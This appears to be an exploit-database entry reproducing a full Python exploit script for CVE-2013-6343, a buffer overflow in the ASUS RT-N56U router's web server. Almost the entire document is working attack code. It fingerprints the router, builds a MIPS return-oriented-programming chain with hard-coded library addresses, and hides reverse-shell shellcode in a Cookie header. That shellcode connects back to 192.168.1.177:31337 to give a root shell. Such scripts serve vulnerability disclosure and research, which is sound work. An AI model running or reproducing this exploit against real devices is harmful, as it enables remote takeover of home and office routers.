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🗓️ 19 Jan 2014 00:00:00Reported by Jacob HolcombType 
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ASUS RT-N56U Remote Root Shell Exploit discovered in October 2013 by Jacob Holcomb/Gimppy, an analyst at ISE. Vulnerability affects routers web server, allows Buffer Overflow attacks on APP_Installation.asp via apps_name and apps_flag parameters in web.c. Tested on Firmware Version 3.0.0.4.374_979

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ASUS RT-N56U - Remote Root Shell Buffer Overflow (ROP)
1 Jul 201400:00
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`#!/usr/bin/env python  
  
from time import sleep  
from sys import exit  
import urllib2, signal, struct, base64, socket, ssl  
  
# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name  
# [*] Discovered and Reported: October 2013  
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE  
# [*] Contact: Twitter - @rootHak42  
# [*] Software Vendor: http://asus.com  
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/  
# [*] Software: httpd (Listens on TCP/80 and TCP/443)  
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)  
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343  
#  
# [*] Overview:  
# Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install  
# supplemental applications. This install process is handled by the routers web server,  
# and is susceptible to multiple Buffer Overflow attacks.  
#  
# Vulnerable Web Page: APP_Installation.asp  
# Vulnerable HTML Parameters: apps_name, apps_flag  
# Vulneralbe Source File: web.c of httpd code  
# *Firmware versions prior to the tested version were vulnerable to this attack.  
#  
  
  
def fingerPrint(host, port, netSock):  
  
fprint = ["RT-N56U"]  
found = None  
print " [*] Preparing to fingerprint the server."  
try:  
print " [*] Connecting to %s on port %d." % (host, port)  
netSock.connect((host, port))  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
  
try:  
print " [*] Sending fingerprint request."  
netSock.send("HEAD / HTTP/1.1\r\n\r\n")  
netData = netSock.recv(1024)  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
  
try:  
print " [*] Closing network socket.\n"  
netSock.close()  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
  
for item in fprint:  
if item in netData:  
print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item  
sleep(1)  
found = item  
if found == None:  
print " [!!!] Server banner doesn't match available targets. [!!!]\n"  
sleep(1)  
exit(0)  
else:  
return found  
  
  
def targURL():  
  
while True:  
  
URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")  
if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":  
return URL.lower()  
else:  
print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"  
sleep(1)  
  
  
def creds():  
  
while True:  
  
User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")  
Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")  
if len(User) != 0:  
return User, Pass  
else:  
print "\n [!!!] Username cant be null [!!!]\n"  
sleep(1)  
  
  
def basicAuth():  
  
auth = None  
  
while auth != "yes" and auth != "no":  
auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")  
  
if auth.lower() == "yes":  
print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"  
sleep(1)  
User, Pass = creds()  
return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")  
elif auth.lower() == "no":  
print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"  
sleep(1)  
return 0  
else:  
print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth  
sleep(1)  
  
  
def sigHandle(signum, frm): # Signal handler  
  
print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"  
sleep(1)  
exit(0)  
  
  
def main():  
  
print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name  
[*] Discovered and Reported: October 2013  
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE  
[*] Contact: Twitter - @rootHak42  
[*] Software Vendor: http://asus.com  
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/  
[*] Software: httpd (Listens on TCP/80 and TCP/443)  
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)  
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""  
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c  
  
target = targURL()  
try:  
print "\n [*] Creating network socket"  
netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
if target[0:5] == "https":  
host = target[8:]  
port = 443  
print " [*] Preparing SSL/TLS support."  
https_netSock = ssl.wrap_socket(netSock)  
finger = fingerPrint(host, port, https_netSock)  
else:  
host = target[7:]  
port = 80  
finger = fingerPrint(host, port, netSock)  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
  
auth = basicAuth()  
junk = "\x42" * 109  
link_nop = "2Aa3"  
  
#Base address of ld_uClibc and libc in httpd address space  
ld_uClibcBase = 0x2aaa8000  
libcBaseAddr = 0x2ab5f000  
  
#Rop Chain  
#<chown+68>: move v0,s0 -> sched_yield()  
#<chown+72>: lw ra,28(sp) -> Rop2  
#<chown+76>: lw s0,24(sp)  
#<chown+80>: jr ra  
#<chown+84>: addiu sp,sp,32  
saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)  
  
#<_dl_runtime_pltresolve+68>: lw ra,36(sp) -> Rop 3  
#<_dl_runtime_pltresolve+72>: lw a0,16(sp)  
#<_dl_runtime_pltresolve+76>: lw a1,20(sp)  
#<_dl_runtime_pltresolve+80>: lw a2,24(sp)  
#<_dl_runtime_pltresolve+84>: lw a3,28(sp)  
#<_dl_runtime_pltresolve+88>: addiu sp,sp,40  
#<_dl_runtime_pltresolve+92>: move t9,v0  
#<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield()  
#<_dl_runtime_pltresolve+100>: nop  
saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)  
  
#<setrlimit64+144>: addiu a1,sp,24 -> ptr to stack  
#<setrlimit64+148>: lw gp,16(sp)  
#<setrlimit64+152>: lw ra,32(sp) -> Rop 4  
#<setrlimit64+156>: jr ra -> jump Rop 4  
#<setrlimit64+160>: addiu sp,sp,40  
saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)  
  
#move t9,a1 -> ptr to jalr sp on stack  
#addiu a0,a0,56  
#jr t9 -> jump to stack  
#move a1,a2  
saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)  
  
#sched_yield()  
sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)  
  
#Stage 1 Shellcode  
jalr_sp = "\x09\xf8\xa0\x03"  
  
#Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE  
stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092  
stg2_SC += "\x09\xf8\xa0\x03"# jalr sp  
stg2_SC += "\x32\x41\x61"#filler for link (branch delay)  
  
#Stage 3 Shellcode  
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE  
#Connects on 192.168.1.177:31337  
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"  
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"  
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"  
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"  
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"  
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"  
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"  
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"  
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"  
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"  
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"  
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"  
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"  
  
payload = junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]  
payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp  
payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC  
postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload  
  
try:  
print "\n [*] Preparing the malicious web request."  
httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)  
httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))  
if auth != 0:  
httpRequest.add_header("Authorization", "Basic %s" % auth)  
print " [*] Successfully built HTTP POST request."  
  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
  
try:  
print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d  
[*] Waiting...""" % (host, port, len(payload))  
sploit = urllib2.urlopen(httpRequest, None, 6)  
if sploit.getcode() == 200:  
print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"  
else:  
print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()  
  
except(urllib2.URLError) as error:  
print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
except Exception as error:  
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)  
exit(0)  
finally:  
print " [*] %s exploit code has finished.\n" % finger  
  
if __name__ == "__main__":  
main()   
  
  
`

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